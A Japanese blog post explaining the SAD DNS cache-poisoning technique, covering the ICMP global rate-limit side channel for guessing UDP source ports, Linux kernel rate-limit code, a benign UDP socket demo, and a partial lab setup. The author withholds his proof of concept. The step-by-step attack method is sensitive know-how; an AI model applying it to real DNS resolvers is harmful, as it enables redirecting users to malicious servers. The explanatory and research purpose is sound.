knqyf263's blog

自分のためのメモとして残しておくためのブログ。

SAD DNSのICMP rate limitを用いたサイドチャネル攻撃について

脆弱性ネタは人気がないことが過去の傾向から明らかですが、自分が震えるほど感動したので忘れないためにも気合い入れて大作を書きました。

要約

ちゃんと理解するの結構難しいという話があったので、先に要約しておきます。雰囲気だけでも掴んでもらえると嬉しいです。

  • DNSキャッシュポイズニングの新しい手法としてSAD DNSが発表された
  • キャッシュポイズニングのためには権威DNSサーバ正規の応答を返すより先に攻撃者が偽の応答を返す必要がある
    • DNSではデフォルトでUDPが使われるため偽装が比較的容易
  • DNSキャッシュポイズニングではSource PortとQuery IDの両方を推測する必要がある
    • それぞれ16bitであるため、組み合わせは32bitとなり現実的な時間内では不可能
  • 今回のSAD DNSでは上のSource Portをスキャンにより推測することが出来る
    • つまり2の16乗でSource Portを推測できるため、あとはQuery IDを2の16乗で推測すれば良い
    • 2の16乗+2の16乗なので現実的な時間で総当り可能
  • Source PortのスキャンにICMP rate limitを悪用する(サイドチャネル攻撃)
    • DNSゾルバがDNS権威サーバに問い合わせるときのことを考える
    • DNSゾルバに対して攻撃者はUDPのパケットを送信する
      • 送信元IPアドレスDNS権威サーバのものに偽装する(権威サーバから返ってきたように見せかける)
      • UDP送信先ポート番号は1-65,535まで変化させていく
    • ポートが閉じている場合はICMP port unreachableが権威サーバに返される
      • 攻撃者はこのパケットを見ることが出来ない(見ることが出来たらそもそもポートスキャンは容易)
      • LinuxはICMPのrate limitがあり20msで50回しかICMPメッセージを送出できない(デフォルト設定の場合)
      • 50個UDPパケットを送り、その全てのポートが閉じられている場合はrate limitの上限に達する
    • 次に攻撃者は攻撃者のサーバのIPアドレスを送信元にして閉じられていそうなポートに対してUDPパケットを投げる
      • 上で送った50個のUDPパケットの宛先ポートが全て閉じられていればICMPのrate limitに達しているため何も返ってこない
      • しかし50ポートの中に1つでも開いているポートがあればrate limitに余裕があるためICMP port unreachableが返る(これは攻撃者に返ってくるので観測可能)
      • この挙動の違いによりポートが開いているか判別可能
      • あとは二分探索などで絞り込んでいけばSource Portが推測可能
  • 権威DNSサーバからの正規レスポンスを遅らせる
    • 上のスキャンは時間がかかるため(デフォルト設定の場合は1000 port/secが上限)、時間を稼ぐ必要がある
    • そこで攻撃者は権威DNSサーバに対してDNSゾルバのふりをして大量のDNSパケットを送信する
    • Response Rate Limiting(RRL)を実装しているサーバの場合はスキャンが来たとみなして意図的にレスポンスを遅くする
      • スキャンや不正行為の成功確率を下げるため
    • このセキュリティ機構を逆に悪用することでキャッシュポイズニングする時間を稼げる

一言で言ってしまえばDNSキャッシュポイズニングにはUDPのSource Port推測が必要で、その達成にICMP rate limitのサイドチャネル攻撃を用いるというものです。ICMP global rate limitはマシンで一つのカウントを共有しているため、ICMPメッセージを直接見ることが出来なくても数の減少から何個程度のICMPメッセージが返されたのか推測できてしまいます。

Cloudflareのブログから図を引用しておきます。実はこの図正確ではないという話を後半でしているのですが、概要を理解するためには良い図だと思うのでここに貼っておきます。

https://blog.cloudflare.com/content/images/2020/11/image2-7.png

Cloudflareのブログより引用

上のスキャン方法は時間がかかるため時間を稼ぐ必要がります。今度は権威サーバ側のrate limitを悪用してレスポンスが返ってくるのを遅らせます。その手法とセットでようやく攻撃が現実的になります。

上の説明を読んで、もっと詳しく知りたいと思った方は以下の説明を読んでいただければと思います。

背景

先日、DNSキャッシュポイズニングに関する新たな攻撃方法としてSAD DNSが公開されました。

www.saddns.net

Cloudflareのブログもまとまっていて分かりやすいです。

blog.cloudflare.com

DNSのキャッシュポイズニングは古くからある手法ですが、2008年に公開されたKaminsky Attackが特に有名です。そもそもDNSキャッシュポイズニングって何?という話ですが、DNSでは問い合わせた結果を再利用するためキャッシュに保存します。そのキャッシュを攻撃者が望むような値に書き換えることで悪意あるサーバへ誘導するというものです。基本的には正規のリクエストが返ってくるより先に偽の応答を返すことで実現されます。スタブリゾルバやフォワーダーも全てキャッシュを持ちますし今回のSAD DNSではそれら全てを対象と出来ることを優位性として主張していますが、一般的にキャッシュポイズニングと言うとフルサービスリゾルバに対する攻撃を指すことが多いかと思います。

ここに関してもちゃんと説明すると長くなるので詳細は省きますが、JPRSから出ている以下のドキュメントにKaminsky Attack含めもう少し詳しく書いてあります。

https://jprs.jp/related-info/guide/009.pdf

かつてのキャッシュポイズニングはTTLの関係で一度キャッシュされてしまうと同じドメイン名に対する攻撃は即座に行えなかったのですが、Kaminsky Attackでは存在しないドメイン名(NXDOMAIN)を活用することでそれを回避して実質無制限に試行できるようになっています。NXDOMAINを汚染してどうするんだと思われるかもしれませんが、ADDITIONAL SECTIONを活用することで任意のドメイン名とそれに対応するIPアドレスをキャッシュさせることが出来ます。ちなみのこの部分についてはDNSプロトコルの問題ではなくBINDの実装ミスだったのではないかという疑惑があります。そうすると一般的な手法としているKaminskyさんの主張はやや間違っていることになりますが、自分は古いBINDバージョンで試して動くことは確認したものの、他のDNS実装でどうなのか?などは未確認なのでどちらが正しいとも言えないです。とりあえずはKaminskyさんが発表した内容に基づき上の説明は行っています。この辺りもいずれ自分でもう少し深く調査したいなと思います。

ということで話を戻しますが、簡単に言うと今まではキャッシュを汚染するのは難しかったのにKaminsky Attackによって(当時の環境において)劇的に簡単になったということです。

ですが、レスポンスを偽造するためにはざっくりいうと2つのランダムな値を推測する必要があります。

https://blog.cloudflare.com/content/images/2020/11/image4-6.png

※ 上記Cloudflareのブログより引用

その2つというのが図にもあるように

  • Source Port
  • Query ID

です。DNSはデフォルトではUDPなのでコネクションを張らなくても上の2つが推測できてしまえば正規のレスポンスの代わりに攻撃者が応答することが出来ます。Kaminsky Attackが公開された当時、クエリを発行するときのSource Portが固定になっているDNSサーバの実装が多かったため大きな問題となりました。Query IDは16bitであるため、65,536通りにしかなりません。この程度であれば総当たりで容易に推測可能です。そこでDNSサーバはSource Portをランダムにする実装を行いました。Source Portも16bitのため合計で推測する値が32bitになり現実的な時間内で総当りするのが困難になりました。

今回のSAD DNSではこのSource Portの推測が肝になります。ICMPのrate limitを用いたサイドチャネル攻撃によってSource Portが推測可能になり、あとはQuery IDを総当りすればよいだけなのでキャッシュポイズニングが現実的な時間で可能になります。

一通り読んで概要は理解できたのですが、よくよく考えると分からないところが多かったので自分で試したところ案の定うまくいきませんでした。あまりに気になりすぎたので勢い余って論文を全て読んでしまいました。攻撃手法の論文読むの楽しい。今忙しいのでそんなことをしている場合ではないのですが止まりませんでした。

https://dl.acm.org/doi/pdf/10.1145/3372297.3417280

疑問だったことは論文を読んで綺麗に解決しました。まさに知りたかったことが全て書いてあって凄い...

発表のプレゼン資料だったりCloudflareのブログだと概要になっていて大事なところが書かれていないので、自分が理解した範囲でもう少し細かくまとめておきます。

SAD DNSの解説

全体像

論文の内容をそのまま書くわけではなく、自分が面白いと思った点をかいつまんで補足しつつ説明しています。自分の補足が間違っている可能性もありますし、詳細が気になる人は論文を読んでみて下さい。

今回の手法は複数のレイヤーのキャッシュに対して攻撃可能になっています。論文の図を引用します。

f:id:knqyf263:20201119200538p:plain

論文 P.1339, Figure 1より引用

このようにDNSというのはいくつかのレイヤーがありますが、このうちAuthoritative name servers(以下、権威サーバ)以外に対して有効な手法です。論文中では主に影響の大きさからForwarderとRecursive Resolverについて解説しています。このブログでは簡単のためRecursive Resolver(以下、リゾルバ)に絞って説明します。

攻撃者の前提としては以下です。

  • 中間者攻撃ではない
    • 正規権威サーバの応答などを見ることは出来ない
  • IP spoofingが可能である
  • ゾルバに名前解決させることが可能
    • ゾルバにDNSクエリを問い合わせられるネットワークにいる

1つ目は、そもそもDNSサーバに対して中間者攻撃出来たら任意の値を返せるのでキャッシュポイズニングでは前提として中間者攻撃は出来ません。

ASによってはソースIPアドレスの詐称を出来なくしていますが、最近の研究によれば30.5%のASはそのような対策をしていないそうです。攻撃者はそのうちの一つを選べば2つ目の条件を満たせるため、これは容易です。論文内ではサーバのレンタルなどによって実現可能と書いています。

3つ目は同じLAN内からじゃないと受け付けないリゾルバなどの場合は、攻撃者がそのLANに入るかLANに属するマシンを乗っ取る必要があります。パブリックDNSサービスと呼ばれるもの(Cloudflareの1.1.1.1やGoogleの8.8.8.8が有名)はどこからでも受け付けるため、最初からこの条件を満たしています。

つまりいずれの条件も満たすのは簡単です。

では実際に攻撃の大まかな流れを書きます。

  1. UDPのソースポート番号を推測する
    • ICMPのサイドチャネル攻撃を使う
    • rate limitの関係で最大1000 port/sec程度のスキャン速度
  2. 攻撃のWindowを広げる(攻撃可能な時間を伸ばす)
    • 攻撃は権威サーバから正規レスポンスが返ってくる前に終わらせる必要がある
    • 65,535個ポートがあるにも関わらず1000 port/secでは通常スキャンが終わらないため、正規レスポンスが返ってくるのを遅延させる
  3. ソースポートが分かればQuery IDをブルートフォースする

3に関しては何も新規性はありません。また、2に関しても攻撃を成立させるためには重要なのですが、特に面白いなというわけでもなかったのであまり詳しくは説明しません。タイトルにもあるように1についてメインで解説します。

UDPのソースポートについて

まず、当たり前ですがUDPTCPと異なりステートレスなプロトコルです。論文でRFC 8085を参照しているので日本語版を少し見てみます。

tex2e.github.io

中に、下記のような記述があります。

UDPデータグラムは、接続設定なしで直接送受信できます。ソケットAPIを使用すると、アプリケーションは単一のUDPソケットで複数のIP送信元アドレスからパケットを受信できます。一部のサーバーはこれを使用して、単一のUDPソケットを通じて同時に複数のリモートホストとデータを交換します。多くのアプリケーションは、特定の送信元アドレスからパケットを確実に受信する必要があります。これらのアプリケーションは、アプリケーション層で対応するチェックを実装するか、オペレーティングシステムが受信したパケットをフィルタリングすることを明示的に要求する必要があります。

普通に読むとサーバのことかなと思うわけですが、実はクライアントにも同じことが言えます。

以下のUDP送信サンプルプログラムを考えてみます(linterかけてないので規約がガバガバなのは目をつむって下さい)。

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>

void show_port(int s) {
    struct sockaddr_in addr ;
    int len ;
    len = sizeof( addr );
    if(getsockname( s, (struct sockaddr *)&addr, &len)< 0 ) {
        perror("getsockname");
        exit( -1 );
    }
    printf("source port: %d\n",ntohs(addr.sin_port));
}

int main(int argc, char** argv) {
    int sock;
    struct sockaddr_in to, from;
    char rbuf[100];
    int fromlen, rcount ;

    if((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        return -1;
    }

    to.sin_family = AF_INET;
    to.sin_port = htons(10000);
    to.sin_addr.s_addr = inet_addr("192.168.33.10");

    if(sendto(sock, "test", 4, 0, (struct sockaddr *)&to, sizeof(to)) < 0) {
        perror("sendto");
        return -1;
    }
    show_port(sock);

    fromlen = sizeof(from);
    rcount = recvfrom(sock, rbuf, sizeof(rbuf), 0, (struct sockaddr *)&from, &fromlen);
    if(rcount < 0) {
        perror("recvfrom");
        return -1;
    }

    printf("remote addr: %s\n", inet_ntoa(from.sin_addr));

    close(sock);

    return 0;
}

やっていることは簡単で、UDP用のソケットを開いて 192.168.33.10 の 10000番ポートにtestという値を送っているだけです。送ったら自分の送信元ポートを表示し、その後レスポンスが返ってきたらレスポンスを返してきたIPアドレスを表示します。

上のサンプルプロプログラムを試すにはサーバが2台必要です。まず 192.168.33.10 の10000番ポートでlistenしておきます。 -u つけるとUDPになります。

$ nc -ulp 10000

次にもう一台のサーバに入って上のプログラムを実行します。すると上の 192.168.33.10 のncにtestという文字が送られてくるので、適当にfooとか返しておきます。

$ gcc main.c
$ ./a.out
source port: 51244
remote addr: 192.168.33.10

すると上のような表示になります。192.168.33.10に送ったのだから192.168.33.10からレスポンスが返ってくるのも当たり前という気がしますが、実はそうではありません。ここでもう一台サーバを起動します(3台目)。先程同様に192.168.33.10上でncで待ち構えてからサンプルプログラムを実行します。

$ gcc main.c
$ ./a.out
source port: 51244

この時、192.168.33.10からレスポンスを返さずに3つ目のサーバ(今回の例では192.168.33.12)からプログラムを動かしているサーバ(192.168.33.11)の51244番ポートにUDPパケットを送ってみます。

$ nc -u 192.168.33.11 51244

すると、先程のサンプルプログラム上で以下のように表示されます。

$ ./a.out
source port: 51244
remote addr: 192.168.33.12

つまり、このプログラムは現在192.168.33.10と通信しているはずなのに192.168.33.12からのUDPパケットを受け取ってしまうということです。先程RFCに書いてあった

これらのアプリケーションは、アプリケーション層で対応するチェックを実装するか、オペレーティングシステムが受信したパケットをフィルタリングすることを明示的に要求する必要があります。

はまさにこのことで、正しい相手と通信するためには自分でアプリケーション層で実装しなくてはならないということです。DNSでいうところのQuery IDだったりします。

これだと面倒という時もあるので、そういう場合はconnect()が使えます。先程のsocketを作ってからsendto()するまでの間に以下のコードを挟みます。

    if(connect(sock, (struct sockaddr *)&to, sizeof(to)) < 0) {
        perror("connect");
        return -1;
    }

これで現在通信中の相手以外からのパケット(送信元のアドレスとポートが一致しない相手)は弾いてくれます。つまりアプリケーション側で弾く必要はありません。

www.coins.tsukuba.ac.jp

分かりやすい説明なので上のページから引用します。

UDP/IP では、connect() しなければ、1つのソケットで、複数の通信相手と データを送受信することができる。通信相手は、sendto() で指定し、 recvfrom() で任意の場所から受信することが普通である。connect() システ ムコールを使うと、特定の相手としか通信できなくなるが、connect() を使う 方法は、UDP/IP のプログラムの書き方としては一般的ではない。

この辺りはLinuxシステムプログラミングをしていれば知っていることかとは思いますが、このあとの説明で必要なので最初に簡単に説明しておきました。

まとめるとUDPのクライアントの実装としては以下の2種類があることになります。

  1. connect()しない場合
    • 任意のIPアドレス・ポートから受信可能
    • Public-Facing Source Portと呼ぶこととする
  2. connect()する場合
    • 特定の相手とのみ通信可能(ソースIPアドレス・ソースポート番号の確認が行われる)
    • Private Source Portと呼ぶこととする

上の説明でもconnect()を使う方法は一般的ではないと書かれているように、Unboundゃdnsmasqなどの有名なDNS実装ではconnect()が使われていないそうです。BINDではconnect()を使っています。

そして、もう一つ重要な点としてOSによって弾かれた場合とアプリケーション層で弾かれた場合で挙動が異なるということです。アプリケーション層で弾かれた場合はただ捨てられるだけですが、OSで弾かれた場合はICMPのport unreachableが送信元に返されます。この挙動の違いによってポートスキャンが可能になります。これはSAD DNSの手法ではなくて従来から利用されています。ポートスキャンツールではnmapなどが有名ですが、こういった挙動の差を利用してポートをスキャンしています。実際には対策が入っていてICMPだとうまく動作しなかったりするのでTCP SYNを使ったりポートスキャンにも手法が色々あるのですが、それは大きなテーマになるので今回は置いておきます。

話を戻すと、1の実装の場合はDNSゾルバがクエリを投げる時、そのソースポートはオープン状態になります。つまり攻撃者が任意のIPアドレスからポートスキャンをすると、クローズな場合はICMP port unreachableが返ってきますがオープンな時はICMPが返ってきません。この挙動を観察することで攻撃者は容易にソースポートを推測することが出来ます。ソースポートさえ分かってしまえば、あとは16bitのQuery IDを推測するだけなので攻撃実現性はかなり高まります。

ICMP rate limit

容易に推測可能と言いましたが、実際には対策が入っておりそこまで簡単ではありません。なぜかと言うとLinuxなどの主要OSにはICMPエラーを返す際のrate limitが設定されているためです。先程のICMP port unreachableは1秒あたりに返せる量の上限があるため、高速にスキャンすることが出来ません。

元々はルータなどでリソース消費を避けるためにICMPのrate limitは導入されましたが、現在では各OSでも広く実装されています。特に、LinuxにおいてはICMP rate limitは2種類あります。

  1. per-IP rate limit
  2. global rate limit
    • IPアドレス関係なくマシン全体が送出できるICMPの上限
    • kernel 3.18で導入

1はIPアドレス単位で保持する必要があるため、lookupなどは重い処理になります。それを緩和するために2が導入されたという背景のようです。

per-IP rate limit

1はsysctlのicmp_ratelimitによって制御されています。デフォルトでこの値は1000です。

icmp_ratelimit | sysctl-explorer.net

ソースコードを見ると、ここでinet_peer_xrlim_allow()net->ipv4.sysctl_icmp_ratelimitを渡しています。

linux/icmp.c at 2295cddf99e3f7c2be2b1160e2f5e53cc35b09be · torvalds/linux · GitHub

inet_peer_xrlim_allow()の実装は以下。

linux/inetpeer.c at 386403a115f95997c2715691226e11a7b5cffcfd · torvalds/linux · GitHub

短いので貼っちゃいます。

#define XRLIM_BURST_FACTOR 6
bool inet_peer_xrlim_allow(struct inet_peer *peer, int timeout)
{
    unsigned long now, token;
    bool rc = false;

    if (!peer)
        return true;

    token = peer->rate_tokens;
    now = jiffies;
    token += now - peer->rate_last;
    peer->rate_last = now;
    if (token > XRLIM_BURST_FACTOR * timeout)
        token = XRLIM_BURST_FACTOR * timeout;
    if (token >= timeout) {
        token -= timeout;
        rc = true;
    }
    peer->rate_tokens = token;
    return rc;
}

token bucketの実装になっています。何それ?という方は適当にググってもらえると出ると思います。先程の icmp_ratelimit というのは実はtokenが回復する時間の指定になっています。1000というのは1000msを意味するので1秒に1ずつ回復していきます。つまり、実はICMPエラーは1秒に1つずつしか返せません。icmp_ratemask という値があってどのICMPメッセージタイプをrate limitの対象にするか、とかが選べるのですが長くなるのでとりあえずport unreachableは対象なんだなと考えて下さい。

上の実装をさらに見ると、バースト用の処理も実装されています。一時的に1秒間に1回以上送りたい場合は6回までは許容するようになっています。しかしそれも使い切ってしまうとやはり1 message/secで回復していきます。とりあえずざっくりIPアドレス単位で1秒に1つまで送れるんだなと思っておいて良いです。

自分が論文を読む前に特に疑問だったのはこの箇所です。今回のSAD DNSはglobal rate limitを悪用する手法なのですが、このper-IP rate limitによって全然ICMP port unreachableが返ってきません。その辺りもうまく解決しているのであとで解説します。

global rate limit

global rate limitに関する処理は以下です。

linux/icmp.c at 2295cddf99e3f7c2be2b1160e2f5e53cc35b09be · torvalds/linux · GitHub

これも短いので貼っちゃいます。

bool icmp_global_allow(void)
{
    u32 credit, delta, incr = 0, now = (u32)jiffies;
    bool rc = false;

    /* Check if token bucket is empty and cannot be refilled
    * without taking the spinlock. The READ_ONCE() are paired
    * with the following WRITE_ONCE() in this same function.
    */
    if (!READ_ONCE(icmp_global.credit)) {
        delta = min_t(u32, now - READ_ONCE(icmp_global.stamp), HZ);
        if (delta < HZ / 50)
            return false;
    }

    spin_lock(&icmp_global.lock);
    delta = min_t(u32, now - icmp_global.stamp, HZ);
    if (delta >= HZ / 50) {
        incr = sysctl_icmp_msgs_per_sec * delta / HZ ;
        if (incr)
            WRITE_ONCE(icmp_global.stamp, now);
    }
    credit = min_t(u32, icmp_global.credit + incr, sysctl_icmp_msgs_burst);
    if (credit) {
        credit--;
        rc = true;
    }
    WRITE_ONCE(icmp_global.credit, credit);
    spin_unlock(&icmp_global.lock);
    return rc;
}

sysctlのicmp_msgs_per_secicmp_msgs_burst によって制御されています。実はこの2つや先ほどのicmp_ratelimitがどう作用するのかドキュメント読んでもさっぱり分からなくて困ってたのですが、ソースコードを読んだら短いし簡単に理解できたのでやはりソースコードこそが正義なところがあります。このicmp_msgs_per_secは1秒に何回ICMPメッセージを送ってよいかを制御する値です。この際、宛先は関係なくマシン全体でカウントされます。デフォルトは1000なので1秒に1000回まで送れます。

まず最初にdeltaを計算しています。

delta = min_t(u32, now - icmp_global.stamp, HZ);

前回ICMPを送った時刻(宛先問わず)からの経過時間です。ミリ秒になっているはずです。HZは環境にもよるようですが、大体1000だと思っておけば良いと思います。min_tしているので、時間が大きく経過している場合は1000になります。

次に、deltaHZ / 50 を比較しています。これはつまり20ms以上経過している場合のみ処理するという意味になります。その中で計算されているincrが回復を意味するので、20msごとにトークンが回復していることが分かります。つまり、icmp_msgs_per_sec とは言っているものの実は20msごとに計算される実装になっています。これはあとで結構重要です。20ms経過していればincrは20になるので、20個分送れるように容量が回復することになります。

if (delta >= HZ / 50) {
    incr = sysctl_icmp_msgs_per_sec * delta / HZ ;
         ...
}

次に sysctl_icmp_msgs_burst と比較して小さい方を取っています。

credit = min_t(u32, icmp_global.credit + incr, sysctl_icmp_msgs_burst);

これは先程のper IP rate limitの実装でも見たように、バースト用の処理になっています。1秒で1000回まで送れるとはいえ短期間に一気に送るのはまずいわけです。なので短期間で多数のICMP送信要求が来た場合は icmp_msgs_burst の値によって制御され(デフォルトでは50)、バーストしないように処理されます。20ms以内に多数来た場合は50回まで送れるということになります。つまり1秒で1000回と言っても最初の20msで1000回分送って、あと980msは0回みたいな送り方は許されていません。そして20ms経てばまた20メッセージ送れるようになります。50ms以上経過した場合は再び50になります(icmp_msgs_burstがデフォルト値の場合)。

if (credit) {
    credit--;
    rc = true;
}

あとはcreditが0じゃない場合はcreditを減らしていき、0の場合はdenyするという処理です。

分かりやすさのために具体的に数字を出して説明していますが、設定値によって挙動は異なりますので各値や環境に応じて読み替えて下さい。

論文によるとmacOS 10.15やFreeBSD 12.1.0ではglobal rate limitは実装されていたもののper-IP rate limitはなかったそうです。

Public-Facing Source Portのスキャン

これは先程説明したようにconnect()を使わない実装の場合のスキャン方法になります。UDPで雑にポートスキャンすればICMP port unreachableが返ってくるので判別可能なのですが、上で説明したper-IP ICMP rate limitのせいで1秒に1ポートしかスキャンできません(最初はバーストできるので6ポート可能)。

これの回避方法として3つ挙げています。

  1. 攻撃者が複数のIPアドレスを保つ場合
  2. 1つのIPv4しか持たないがDHCPで複数のIPアドレス取得が可能な場合
  3. 1つしかIPアドレスを持たず、上の1,2も難しい場合

まず1の場合ですが、UDPパケットを送信する際にソースIPアドレスを偽装してしまえばOKです。per-IPはIPアドレス単位のため、送信元さえ偽装してしまえばper-IPのrate limitはバイパス可能です。global rate limitには引っかかりますが、1秒につき1000ポートスキャン可能なのでper-IPに比べるとかなり緩和されます。例えばIPv6などを持つケースでは1000個のIPv6アドレスを自分のマシンにつけてしまって、それらをソースIPアドレスとしてUDPパケットを送ればICMP port unreachableがそれぞれのIPv6アドレスに返ってきます。その結果を見ればポートの開閉が判別できます。これはSAD DNSの手法というわけではなくて普通のスキャン手法です。

2はLAN内のフォワーダの話だと思うのでskipします。十分なグローバルIPアドレスを配ってくれるDHCPサーバならパブリックDNSサービスに対しても有効そうですが、最近IPv4枯渇してますし一旦スルーします。

3が重要です。適当に送信元を偽装することでper-IP rate limitの制限は回避できますが、そのレスポンスを攻撃者は見ることが出来ないためICMPエラーメッセージが返ってきたかどうかを知ることが出来ません。これだとポートが開いているかどうか判別不可能です。そこで、global rate limitに対してサイドチャネル攻撃を行います。Linuxの場合で手順を説明します。

まず最初に以下の図を見るとあとの説明が分かりやすいかと思います。

f:id:knqyf263:20201119173900p:plain

論文 P.1341, Figure 1より引用

50ポートずつスキャンしていきます。

■ スキャンしたポート番号の範囲内にオープンなポートがない場合

  1. 50個のUDPパケットをDNSゾルバに送信する
    • 送信先ポート番号は全て異なるもの(1-50とか51-100とか)
    • この際、per-IP制限にかからないように送信元IPアドレスはすべて異なるものにする
  2. 50個のICMP port unreachableがそれぞれのIPアドレスに返される
    • このレスポンスを攻撃者は見ることが出来ない
  3. 検証用UDPパケットを実際のIPアドレスを送信元に設定して送信する
    • この時確実にcloseしているポートを送信先にする(1番など)
  4. ICMPはglobal rate limitに引っかかって返ってこない

上記はすべて20ms以内に行う必要があります。20msを超えるとトークンが回復してしまうためです。先ほど説明したように20ms以内に送れるICMPエラーメッセージの数はicmp_msgs_burstによって制御されています。つまり全てのポートがcloseな場合、既に50個のICMP port unreachableが返されてrate limitの上限に達しています。その状態で検証用UDPパケットを送ってもrate limitのためにICMPエラーは返ってきません。

ではポートが空いている場合はどうでしょうか?

■ スキャンしたポート番号の範囲内にオープンなポートがある場合

上図では開いているポート数をnとしていますが以下の説明では1としています。

  1. 50個のUDPパケットをDNSゾルバに送信する
    • 送信先ポート番号は全て異なるもの(1-50とか51-100とか)
    • この際、per-IP制限にかからないように送信元IPアドレスはすべて異なるものにする
  2. 49個のICMP port unreachableがそれぞれのIPアドレスに返される
    • 1つは開いているためICMPエラーを返さない
  3. 検証用UDPパケットを実際のIPアドレスを送信元に設定して送信する
    • この時確実にcloseしているポートを送信先にする(1番など)
  4. ICMP port unreachableが返ってくる
    • 49個しかICMPメッセージを送出していないためglobal rate limitの上限に達していない

ということでポートが開いている場合と開いていない場合で、最後の検証用UDPパケットに対する挙動が異なります。1つでもポートが開いていればICMP port unreachableが返ってくるし、全て閉じていれば返ってきません。これで指定した50ポートの中にオープンなものがあることが分かるため、あとは二分探索などを適当にすればオープンポートを突き止められます。

なお、1回目のスキャンと2回目のスキャンは50ms以上間隔を空ける必要があります。そうしないと十分にglobal rate limitのトークンが回復していないためうまく挙動の違いを観測できません。

icmp_msgs_per_sec のデフォルト値が1000のため、この方法では1秒あたり1000ポートスキャン可能です。65,535ポート全てをスキャンするためには1分以上かかります。さらに、20ms以内に全てを行わないといけないため時間にシビアな攻撃手法となっています。ネットワークが不安定だったりすると20ms以内で送りきれなかったり、50msの間隔もうまくはかれなかったりするため実際にはさらに時間がかかります。これらを全てDNSクエリに対する応答が返ってくるまでに行わないといけないのでこのままだと厳しいのですが、最初に全体像で説明したように応答を遅らせる細工をすることで攻撃実現性を高めています。その方法についてはあとで少しだけ触れます。

また、よく利用されているDNSゾルバの場合はポートが多く開いていて、ノイズとなりえます。しかし通常のDNSクエリであればすぐに応答が返ってくるためそのポートもすぐに閉じられます。しかし攻撃対象のクエリはなかなか応答が来ないように細工するため、うまく実装すればすぐに消えたポートは無視して対象のポートのみに絞るこんでいくことが可能です。

他にもパケロス等もノイズとなりえます。その辺りについても解説されているので興味があれば論文をどうぞ。

Private Source Portのスキャン

connect()を使った実装の場合のスキャン方法です。BINDなどが該当します。これの難しい点としては、正しいソースIPアドレスを指定しないと弾かれてしまうという点です。そのため、ポートスキャンをするためには権威DNSサーバのソースIPアドレスを指定する必要があります(フォワーダが攻撃対象の場合はフルリゾルバのアドレスなど)。

下の図でいうとNameseverのIPアドレスをソースアドレスとして詐称したUDPパケットを攻撃対象のリゾルバに送ります。

https://blog.cloudflare.com/content/images/2020/11/image2-7.png

Cloudflareのブログより引用

実はこのCloudflareの図は正しくありません。恐らく簡単に解説するために簡略化したのだと思いますが、実際には50個のICMPエラーは返ってきません。なぜなら既に説明したようにper-IP ICMP rate limitがあるためです。1秒に1回しか送出できないため、50個のICMPメッセージを返すためにはUDPパケットを1秒に1つずつゆっくり送る必要があります。特にこの部分がCloudflareの説明で理解できないところでした。

論文上ではここに関する説明も書いてあります。というのは、実はLinuxソースコードを見るとglobal rate limitはper-IP rate limitより先にチェックされます。icmp_reply()の実装を見ると、global rate limitをチェックするためのicmpv4_global_allow()はper-IP rate limitのicmpv4_xrlim_allow()より先に呼ばれています。

linux/icmp.c at 2295cddf99e3f7c2be2b1160e2f5e53cc35b09be · torvalds/linux · GitHub

これはどういうことかと言うと、仮にper-IP rate limitの制限に引っかかってICMPエラーが返って来ないとしてもglobal rate limiのトークンはしっかり消費しているということです。つまり仮にICMPエラーが返らないとしても先程のサイドチャネル攻撃が成立します。恐らく重たいper-IP rate limitより先に呼びたかったと思われるので皮肉なことだが意図的だろうと著者は推測しています。

実際にはICMPエラーは1つしか返ってこないので以下の図になります。

f:id:knqyf263:20201119200625p:plain

論文 P.1341, Figure 4より引用

仮にICMPエラーが1つしか返ってこないとしてもglobal rate limitのtokenは消費されているため、最後の検証用UDPパケットは異なる挙動になります。スキャンレンジ内のポートが1つ開いている場合について説明します。

  1. 50個のUDPパケットをDNSゾルバに送信する
    • 送信先ポート番号は全て異なるもの(1-50とか51-100とか)
    • この際、送信元IPアドレスは権威DNSサーバのものにする
  2. 1個のICMP port unreachableが権威DNSサーバに返される
    • per-IP rate limitの制限に引っかかるため
    • 49ポートは閉じておりglobal rate limitのtokenは49回分消費されるが、1回分だけ残る
  3. 検証用UDPパケットを実際のIPアドレスを送信元に設定して送信する
    • この時確実にcloseしているポートを送信先にする(1番など)
  4. ICMP port unreachableが返ってくる
    • global ate limitの上限に達していないため

全てのポートが閉じている場合はICMPエラーは返ってきません。

この方法で実はPublic-Facing Source Portのスキャンも可能です。per-IP rate limitをバイパスするために異なるIPアドレスを詐称していたわけですが、実は不要だったためです。

同様にノイズなどはありますが、Public-Facing Source Portと異なり、ソースIPアドレスが間違っていると弾いてくれるためノイズはかなり少ないです。

ということでソースポートの推測ができました。

攻撃Windowの拡張

スキャンが1分以上かかってしまうため、時間を稼ぐ必要があります。どうやるかと言うとResponse Rate Limiting(RRL)を悪用します。これもリゾルバに対して行うのかと思っていたので最初意味が分からなかったのですが、実は権威DNSサーバに対してfloodingするという意味でした。RRLというのはDNSにおけるrate limitです。

kb.isc.org

ざっくり説明するとスキャンのような怪しい通信を検知したらレスポンスを返すのを遅くする仕組みです。正規のリゾルバが正規の権威サーバに問い合わせたタイミングで攻撃者は正規の権威サーバに大量のDNSクエリを送信します。この際、同一のソースIPアドレスだったり同一の情報を要求したりすると不正として検出されます。その結果権威サーバがレスポンスを返すのが遅くなり、攻撃者がソースポートをスキャンする余裕が生まれるというわけです。発表資料の図が分かりやすいと思います。

f:id:knqyf263:20201119180238p:plain

発表資料 P.13より引用

これは皮肉なもので、悪用を防ぐためのrate limitが権威サーバにおいても攻撃に利用されています。rate limitを使ってソースポートを推測し、rate limitを使って攻撃Windowを広げる、ということでSAD DNSはrate limit尽くしな攻撃手法だと思います。

サイドチャネル攻撃でUDPソースポートを推測してみる

自分でもPoCを書いてみたのですが、発見者がリポジトリを非公開にしたようなので意図を汲んで自分も公開はしないでおきます。ですがソースポートの推測は非常にシンプルな仕組みなので、試し方を説明します。

まずサーバを3つ用意します。

  1. DNSフルリゾルバ役(192.168.33.10
  2. 権威DNSサーバ役(192.168.33.11
  3. 攻撃者役(192.168.33.12

実際にはDNSクエリは飛ばさずにncで代用します。

1から2に対してDNSの体でUDPで通信します。まず2のサーバ上でncでlistenします。

$ sudo nc -ulp 53

次に1から2の53番ポートに繋ぎ適当にデータを送ります。これがDNSクエリだと思ってください。

$ nc -u 192.168.33.11 53
foo

そして適当にtcpdumpでデータを見ます。

$ sudo tcpdump -nnni eth1 port 53
09:17:27.269535 IP 192.168.33.10.45682 > 192.168.33.11.53: domain [length 4 < 12] (invalid)

